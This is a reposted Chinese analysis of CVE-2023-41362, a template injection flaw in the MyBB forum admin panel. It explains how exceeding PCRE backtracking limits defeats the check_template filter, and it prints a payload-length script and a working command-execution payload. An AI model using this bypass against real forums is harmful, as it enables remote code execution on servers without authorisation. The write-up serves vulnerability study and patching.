感谢师傅 · 关注我们
由于,微信公众号推送机制改变,现在需要设置为星标才能收到推送消息。大家就动动发财小手设置一下呗!啾咪~~~
原文链接;https://forum.butian.net/share/3834
名称;奇安信攻防社区
前言
MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。
漏洞功能分析
漏洞位于后台的模板编辑处,可以绕过安全限制注入恶意代码导致命令执行漏洞。
修改任一模板(以online模板为例)点击保存
请求url为https://xxx.com/Upload/admin/index.php?module=style-templates&action=edit_template&title=online&sid=1&expand=16
module=style-templates
action=edit_template
定位/Upload/admin/index.php文件,代码通过接受module参数(style-templates),并以”-”分割存入数组分别最终赋值给$run_module(style)和$action_file(templates)
并最终使用require包含($modules_dir为默认的安装位置)
定位到/Upload/admin/modules/style/templates.php
接收action参数,执行动作为编辑模板时,先进入一个安全检查,
随后模板数据在数据库中完成更新
而在访问对应的模板文件时,通过eval函数执行模板内容
所以模板注入有两种方案,要么绕过check_template的限制注入恶意代码,要么通过sql注入直接在数据库执行sql语句向模板中写入恶意代码。
check_template的实现如下
function check_template($template)
{
// Check to see if our database password is in the template
if(preg_match('#$config[((['|"]database['|"])|([^'"].*?))][((['|"](database|hostname|password|table_prefix|username)['|"])|([^'"].*?))]#i', $template))
{
return true;
}
// System calls via backtick
if(preg_match('#$s*{#', $template))
{
return true;
}
// Any other malicious acts?
// Courtesy of ZiNgA BuRgA
if(preg_match("~\{\$.+?\}~s", preg_replace('~\{\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\>|\:\:)\$*[a-zA-Z_][a-zA-Z_0-9]*|\[s*\$*(['"]?)[a-zA-Z_ 0-9 ]+\2\]s*)*\}~', '', $template)))
{
return true;
}
return false;
}
第一个正则用于检测模板中是否有数据库账号密码的字段
第二个正则用于检测类似**"$(任意个空白字符){"**格式的恶意代码
第三个正则先是用preg_replace函数将诸如**"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"**等字符替换为空,在匹配是否仍然含有
"{$(一个或多个任意字符)}"
通过之前默认的模板文件可以看到,第三个正则主要是用于将合法的模板插值去空后,再检测是否存在恶意插值
例如当模板内容为{$system('whoami')}时,就会被第三个正则检测到而拦截。
PS:MYBB开源论坛系统使用的是自定义的模板系统,而不是常见的第三方模板引擎,通过{$变量}表示一个动态插值。
回溯陷阱(Catastrophic Backtracking)
正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机)。简单来讲,NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。
举个例子
text = ‘huisuxianjing’ regex = ‘i(a|b)’
在NFA匹配的时候,先用正则中的第一个字符i去匹配,匹配到第一个i后,再用(a|b)去匹配text中第一个i后的s,发现不匹配后,正则退回到i,继续第一个i后的s开始匹配,直至结束。
而在DFA匹配的时候,采用的是文本为主导的匹配方式,即从text中的h开始去匹配正则,发现不匹配后,继续从下一个字符去比较,直至text字符串中的第一个i匹配到了正则中的i,再用后面的s去匹配正则的(a|b),发现不匹配后,再用text字符串中的后续值去匹配直至结束。
由于NFA的执行过程存在回溯,所以性能会劣于DFA,但由于其支持更多功能,被大多数程序语言作为了正则引擎,其中就包括php使用的pcre库。
NFA的回溯
前两步不必多说,第三步匹配.*是直接匹配了整个字符串。导致后面没有字符可以和>匹配了,于是发生了第一次回溯,吐出一个字符即最右边的>,此时第三步的.*匹配的是"<d>A</d><d>123</d",于是再用正则>去匹配剩下的字符”>“匹配成功。同理此时字符串已经匹配完,d+的正则又匹配不到了,于是再次发生回溯,依次吐出字符重新匹配如上图所示,一共发生了8次回溯,
可以看到,在本正则中,回溯的次数与字符串中的数字部分长短有关,数据部分越长,发生回溯的次数就会越多。
如果数字部分的字符足够长,导致回溯次数过多,甚至会引发ReDos,php为了防止ReDos,给回溯次数设置了一个上限,当回溯次数超过了上限时,preg_match会返回false,而preg_replace会返回null。
绕过check_template
因此可以通过构造大量字符使得回溯次数超过上限来绕过check_template的限制,回忆第三个正则如下
if(preg_match("~\{\$.+?\}~s", preg_replace('~\{\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\>|\:\:)\$*[a-zA-Z_][a-zA-Z_0-9]*|\[s*\$*(['"]?)[a-zA-Z_ 0-9 ]+\2\]s*)*\}~', '', $template)))
{
return true;
}
//preg_replace将诸如"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"等字符替换为空
//preg_match检测"{$(一个或多个任意字符)}"
因此只要构造足够长的垃圾字符,使得preg_replace或者preg_match达到回溯上限返回null/false,就可以绕过安全限制。
用如下脚本可以大概估算下各需要构造多长的payload。
<?php
function checkMacth($preg_match_vaule) {
$pattern ='~\{\$.+?\}~s';
$subject ='{$system("whoam"'.str_repeat(".''",$preg_match_vaule).'.'.'"i"'.')}';
return preg_match($pattern,$subject);
}
$preg_match_vaule=1;
// 循环直到 preg_match_vaule 的结果为 false
for (; checkMacth($preg_match_vaule) !== false;$preg_match_vaule += 100){
}
echo "preg_match_vaule大概值: $preg_match_vaulen";
//{$system("whoam".''.''.''."i")}
function checkReplace($preg_replace_value) {
$pattern = '~{$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\>|\:\:)\$*[a-zA-Z_][a-zA-Z_0-9]*|\[s*\$*(['"]?)[a-zA-Z_0-9 ]+\2\]s*)*\}~';
$subject = '{$a'.str_repeat('[0]', $preg_replace_value).'}';
return preg_replace($pattern, '', $subject);
}
$preg_replace_value = 1;
// 循环直到 preg_replace 的结果为 null
for (; checkReplace($preg_replace_value) !== null; $preg_replace_value += 100) {
}
echo "preg_replace_value大概值: $preg_replace_valuen";
//{$a[0][0][0][0]}
?>
测试发现preg_replace中{$a[b][b][b]}类型的值可以以输入最短的字符长度实现最多的回溯次数,只需要5k多个字符,而达到preg_match的回溯上限则需要90w多个字符。
所以通过在恶意代码后添加一些多维数组例如
{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]......}
使得正则执行失败,从而进行绕过。
因此写入模板内容如下
{$system('whoami')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0]很多个[0]}
虽然写入成功了但是执行时报错了
mybb的模板引无法直接解析{$system('whoami')},因此模仿模板自带的方式找现有的方法去调用下,观察下默认模板的调用方式
寻找利用$lang已有的方法去调用
{$lang->load((system('whoami'))}{$a[0][0][0][0][0][0][0][0][0]......}
访问触发,成功执行命令
漏洞修复
判断了preg_match的返回值不能为false,preg_replace的返回值不能为null。
下载地址
回复关键字【110】获取网盘下载链接
二个月前资源汇总
https://kdocs.cn/l/cqEYzWfs0kUS
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果
原文始发于微信公众号(黑客白帽子):CVE-2023-41362 mybb模板注入漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论